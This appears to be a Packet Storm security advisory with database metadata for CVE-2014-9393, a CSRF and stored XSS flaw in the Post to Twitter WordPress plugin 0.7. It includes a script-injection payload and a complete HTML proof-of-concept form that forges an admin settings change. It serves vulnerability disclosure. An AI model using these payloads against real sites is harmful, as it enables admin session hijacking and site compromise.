ID PACKETSTORM:129639 Type packetstorm Reporter Manideep K Modified 2014-12-18T00:00:00
Description
`**************************************************************************************
# Title: CSRF / Stored XSS Vulnerability in Post to Twitter Wordpress Plugin
# Author: Manideep K
# CVE-ID: CVE-2014-9393
# Plugin Homepage: https://wordpress.org/plugins/post-to-twitter/
# Version Affected: 0.7 (probably lower versions)
# Severity: High
# Description:
Vulnerable Parameter: all three fields, to name one - idptt_twitter_username
Vulnerability Class:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))
# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admins browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.
# Steps to Reproduce: (POC):
After installing the plugin
1. Goto settings -> Post to Twitter
2. Insert this payload "><script>alert(32)</script> into any/all the fields
Update options and see XSS in action
3. Visit settings page of this plugin anytime later and you can see the script executing as it is stored.
Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below
<html>
<body>
<form action="http://localhost/wordpress/wp-admin/options-general.php" method="POST">
<input type="hidden" name="idptt_twitter_username" value=" csrf baby" />
<input type="hidden" name="idptt_twitter_password" value="123@admiN" />
<input type="hidden" name="idptt_tweet_prefix" value="hey testt - this is also xss ed " />
<input type="hidden" name="idptt_notify_twitter" value="1" />
<input type="hidden" name="ak_action" value="idptt_update_settings" />
<input type="hidden" name="submit" value="Update Post to Twitter Options" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# Mitigation:
Plugin Closed
# Disclosure:
2014-11-06: Author notification
2014-11-20: WP Team action taken by closing the plugin as there is no response from author
2014-12-09: Public Disclosure
# Credits:
Manideep K
Information Security Researcher
https://in.linkedin.com/in/manideepk
***************************************************************************************
`
{"id": "PACKETSTORM:129639", "type": "packetstorm", "bulletinFamily": "exploit", "title": "WordPress Twitter 0.7 CSRF / XSS", "description": "", "published": "2014-12-18T00:00:00", "modified": "2014-12-18T00:00:00", "cvss": {"vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/", "score": 6.8}, "href": "https://packetstormsecurity.com/files/129639/WordPress-Twitter-0.7-CSRF-XSS.html", "reporter": "Manideep K", "references": [], "cvelist": ["CVE-2014-9393"], "lastseen": "2016-12-05T22:21:58", "viewCount": 7, "enchantments": {"score": {"value": 4.7, "vector": "NONE", "modified": "2016-12-05T22:21:58", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2014-9393"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:7730"]}], "modified": "2016-12-05T22:21:58", "rev": 2}, "vulnersScore": 4.7}, "sourceHref": "https://packetstormsecurity.com/files/download/129639/wptwitter-xsrfxss.txt", "sourceData": "`************************************************************************************** \n# Title: CSRF / Stored XSS Vulnerability in Post to Twitter Wordpress Plugin \n# Author: Manideep K \n# CVE-ID: CVE-2014-9393 \n# Plugin Homepage: https://wordpress.org/plugins/post-to-twitter/ \n# Version Affected: 0.7 (probably lower versions) \n# Severity: High \n \n# Description: \nVulnerable Parameter: all three fields, to name one - idptt_twitter_username \nVulnerability Class: \nhttps://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29 \nCross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)) \n \n# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin\u0092s browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc. \n \n# Steps to Reproduce: (POC): \nAfter installing the plugin \n1. Goto settings -> Post to Twitter \n2. Insert this payload \u0093 \"><script>alert(32)</script> \u0093 into any/all the fields \nUpdate options and see XSS in action \n3. Visit settings page of this plugin anytime later and you can see the script executing as it is stored. \n \nPlugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below \n \n<html> \n<body> \n<form action=\"http://localhost/wordpress/wp-admin/options-general.php\" method=\"POST\"> \n<input type=\"hidden\" name=\"idptt_twitter_username\" value=\" csrf baby\" /> \n<input type=\"hidden\" name=\"idptt_twitter_password\" value=\"123@admiN\" /> \n<input type=\"hidden\" name=\"idptt_tweet_prefix\" value=\"hey testt - this is also xss ed \" /> \n<input type=\"hidden\" name=\"idptt_notify_twitter\" value=\"1\" /> \n<input type=\"hidden\" name=\"ak_action\" value=\"idptt_update_settings\" /> \n<input type=\"hidden\" name=\"submit\" value=\"Update Post to Twitter Options\" /> \n<input type=\"submit\" value=\"Submit request\" /> \n</form> \n</body> \n</html> \n \n# Mitigation: \nPlugin Closed \n \n# Disclosure: \n2014-11-06: Author notification \n2014-11-20: WP Team action taken by closing the plugin as there is no response from author \n2014-12-09: Public Disclosure \n \n# Credits: \nManideep K \nInformation Security Researcher \nhttps://in.linkedin.com/in/manideepk \n*************************************************************************************** \n`\n"}
{"cve": [{"lastseen": "2020-12-09T19:58:29", "description": "Multiple cross-site request forgery (CSRF) vulnerabilities in the Post to Twitter plugin 0.7 and earlier for WordPress allow remote attackers to hijack the authentication of administrators for requests that conduct cross-site scripting (XSS) attacks via the (1) idptt_twitter_username or (2) idptt_tweet_prefix parameter to wp-admin/options-general.php.", "edition": 5, "cvss3": {}, "published": "2014-12-31T21:59:00", "title": "CVE-2014-9393", "type": "cve", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-9393"], "modified": "2017-09-08T01:29:00", "cpe": ["cpe:/a:post_to_twitter_project:post_to_twitter:0.7"], "id": "CVE-2014-9393", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9393", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:post_to_twitter_project:post_to_twitter:0.7:*:*:*:*:wordpress:*:*"]}], "wpvulndb": [{"lastseen": "2020-06-29T19:29:07", "bulletinFamily": "software", "cvelist": ["CVE-2014-9393"], "description": "WordPress Vulnerability - Post to Twitter <= 0.7 CSRF & XSS\n", "modified": "2019-10-21T00:00:00", "published": "2014-12-20T00:00:00", "id": "WPVDB-ID:7730", "href": "https://wpvulndb.com/vulnerabilities/7730", "type": "wpvulndb", "title": "Post to Twitter <= 0.7 CSRF & XSS", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}]}